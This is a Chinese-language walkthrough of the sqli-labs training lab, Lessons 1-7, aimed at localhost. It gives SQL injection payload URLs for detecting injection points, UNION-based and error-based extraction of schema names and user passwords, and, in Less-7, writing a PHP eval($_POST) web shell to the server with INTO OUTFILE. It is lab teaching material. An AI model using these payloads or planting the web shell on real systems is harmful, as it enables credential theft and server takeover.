sqli less1-7

## less-1
   
    首先判断存在与否注入点,那么久能直接按照常规的方式进行注入点的判断
    判断sql注入点

1.单引号判断
    http://127.0.0.1/sqli-labs-master/Less-1/?id=1' 如果出现错误提示,则该网站可能就存在注入漏洞。

2.and判断
    http://127.0.0.1/sqli-labs-master/Less-1/?id=1'and 1=1这个条件永远都是真的,所以当然返回是正常页
    http://127.0.0.1/sqli-labs-master/Less-1?id=1'and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。

3.Or判断(or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点)
    http://127.0.0.1/sqli-labs-master/Less-1?id=0'or 1=1
    http://127.0.0.1/sqli-labs-master/Less-1?id=0'or 1=2

4.xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点。)
    http://127.0.0.1/sqli-labs-master/Less-1?id=1'xor 1=1
    http://127.0.0.1/sqli-labs-master/Less-1?id=1'xor 1=2

5.加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.)
    http://127.0.0.1/sqli-labs-master/Less-1?id=1-0
    http://127.0.0.1/sqli-labs-master/Less-1?id=1-1
    http://127.0.0.1/sqli-labs-master/Less-1?id=1+1

    已知存在注入点,那么就进行注入,手工"union"进行联合语句查询
    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,database()%20--+
![](https://i.imgur.com/KO0yoex.png)
得到库名‘security’
    
    接下来继续进行爆表,构造payload
    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+
    或者payload             ?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
![](https://i.imgur.com/YKm4uS7.png)    
得到了一个用户表‘users’,然后就是进行爆字段(列名)
        
    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20--+
![](https://i.imgur.com/2dr43fT.png)
然后可以看到里面有‘user’以及‘password’,那么就进行payload进行爆值

    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(username,0x3a,password)%20from%20users%20--+       在这里需要注意的是‘ox3a’代表的是十六进制数,并且3a在ascll编码中是‘:’
![](https://i.imgur.com/9TlUren.png)

## 这道题目需要注意的是,在进行注入点的判断的时候,传入‘id=1'’的时候报错的信息的展示,是由于原单引号是闭合的(也就是单引号是成对出现的),由于注入的‘1'’造成的单引号闭合出现错误,所以需要对多余的那个单引号进行注释,使用'--+ 或者 %23'进行注释。
## 在进行爆数据库的时候需要注意的几个函数 
   
    ‘group_concat()’属于连接函数,这个函数的作用就是将括号内的内容进行打印
    MySQL自带四个库,其中information_schema库下存放着数据库对象相关概要信息,比如字符集、引擎、数据库、数据表、视图、列、权限等,其中有重要的三个表,分别是:

    (1)schemata表,存放着MySQL数据库下所有库的信息,show databases命令的结果就是来自于这个表。此表有五列,分别是:
    
    catalog_name、schema_name、default_character_set_name、default_collation_name、sql_path,其中schema_name列存储的就是MySQL数据库下所有库的名字(爆数据库名用到此表);
    
    (2)tables表,此表提供了关于数据库中的表的信息(包括视图),重要的两个列,一是table_schema:表所属数据库的名字,二是table_name:表的名字(爆表名就要用到此表)。
    
    (3)columns表,此表提供了表中列的信息,详细表述了某张表的所有列以及每个列的信息,重要的三个列,一是table_schema:字段所属数据库的名字,二是table_name:字段所属数据表的名字,三是column_name:字段的名字(用此表爆字段名)。



## less-2

在检测注入点的时候发现这个回显比较有意思,对比一下less-1就可以发现问题`http://127.0.0.1/sqli-labs-master/Less-2/?id=1`回显正常页面 ,当payload`id=1'`时回显的错误是那么就想到使用联合语句来进行爆库,
![](https://i.imgur.com/jeWXGA8.png)

得到库名‘security’,然后尝试进行爆表构造payload
    `http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27`
    
![](https://i.imgur.com/4kkgfGV.png)

接下来的一步就是进行尝试爆字段信息,构造payload`http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,group_concat(column_name)%20%20from%20information_schema.columns%20where%20table_name=%27users%27`

![2-3.png](https://upload-images.jianshu.io/upload_images/15574571-f38cf59f1e324bb4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

可以看到users表中的字段信息,接着就是的到用户以及密码,构造payload`http://127.0.0.1/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,group_concat(username,0x3a,password)%20%20from%20users`


![2-4.png](https://upload-images.jianshu.io/upload_images/15574571-587eab27b0d566dd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)



## Less-3

先传入一个id值没有报错,传入id=1'开始报错说明是一个字符型的注入,报错信息如下
![3-1.png](https://upload-images.jianshu.io/upload_images/15574571-02a1ecaa24d80b53.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
然后进行尝试进行闭合构造payload`http://127.0.0.1/sqli-labs-master/Less-3/?id=1%27)%20--+`
![3-2.png](https://upload-images.jianshu.io/upload_images/15574571-11d153a31c0ebf66.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
然后进行尝试爆库构造payload `http://127.0.0.1/sqli-labs-master/Less-3/?id=-1%27)%20union%20select%201,2,database()%20--+` 进行联合语句查询
`http://127.0.0.1/sqli-labs-master/Less-3/?id=-1%27)%20union%20select%201,2,database()%20--+`
接下来的步骤就和之前的一样进行爆表以及爆字段


## Less-4

## 我这道题我的环境好像坏了

## Less-5

这个其实我也不会,看了writeup才知道这个报错属于布尔型盲注、报错型注入、时间延迟型盲注  

需要先了解几个mysql函数

    > 
    - floor:取整函数,向下取整 例如2.3取整是2,它的取整函数值下小于等于函数参数
    - rand:随机数,0到1之间的随机数
    - contact,group_concat()连接函数连接结果

拿自己的数据库进行测试
![4-1.png](https://upload-images.jianshu.io/upload_images/15574571-0cb94bf32edb257a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
rand()生成随机数 *2进行向下取整为0或者1 `information_schema.schemata`里,这个表包含了mysql的所有数据库名,则会返回数据库数个结果。

1. 使用`information_schema.tables`或者`information_schema.columns`查询到我们想要的信息,前几关进行爆表以及爆字段的时候已经展示过使用的方法
2. 将之前的`concat((select database()),floor(rand()*2))`取一个别名 `a`当然别名可以随便进行取,目的是为了进行分组进行展示库名
`select concat('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a;`
![4-2.png](https://upload-images.jianshu.io/upload_images/15574571-70fe350c7e5182bd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
3. 使用报错的回显得到想要的结果
对于`**Less-5**`可以进行这样payload
`http://127.0.0.1/sqli-labs-master/Less-5/?id=-1%27%20union%20%20select%201,%20count(*),concat(database(),0x3a,floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%20--+`

       注意:`concat(database(),0x3a,floor(rand()*2))`中的database()也可以更改为`version`爆版本

 ![4-3.png](https://upload-images.jianshu.io/upload_images/15574571-f560779bb5571de5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
 得到库名‘security’,接下来就是进行爆表以及爆字段
payload`http://127.0.0.1/sqli-labs-master/Less-5/?id=-1%27%20union%20select%201,%20count(*),%20concat((select%20concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1),floor(rand()*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a--+`
![4-4.png](https://upload-images.jianshu.io/upload_images/15574571-6e339f6b0f2ae0d8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
得到‘users’表接着进行爆字段,payload
`http://127.0.0.1/sqli-labs-master/Less-5/?id=-1%27%20union%20select%20count(*),1,%20concat(%27~%27,(select%20concat(%27[%27,password,username)%20from%20users%20limit%203,1),%27~%27,floor(rand()*2))%20as%20a%20from%20information_schema.tables%20group%20by%20a%20--+`


## Less-6
注入类型  双注入双引号字符型注入,只需要将Less-5的`id=-1'` 改为`id=--1''`就可以了


## Less-7
注意文件写入服务器的路径的`\`必须写成`\\`
进行注入的尝试,id=1' 报错 多次尝试之后 id=1')) --+正常,又提示的是导出文件,payload`http://127.0.0.1/sqli-labs-master/Less-7/?id=1%27))%20union%20select%201,2,%22%3C?php%20@eval($_POST[%22123%22]);?%3E%22%20into%20outfile%20%22D:\\phpStudy\\WWW\\11.php%22%20--+` 然后菜刀可连

你可能感兴趣的:(ctf)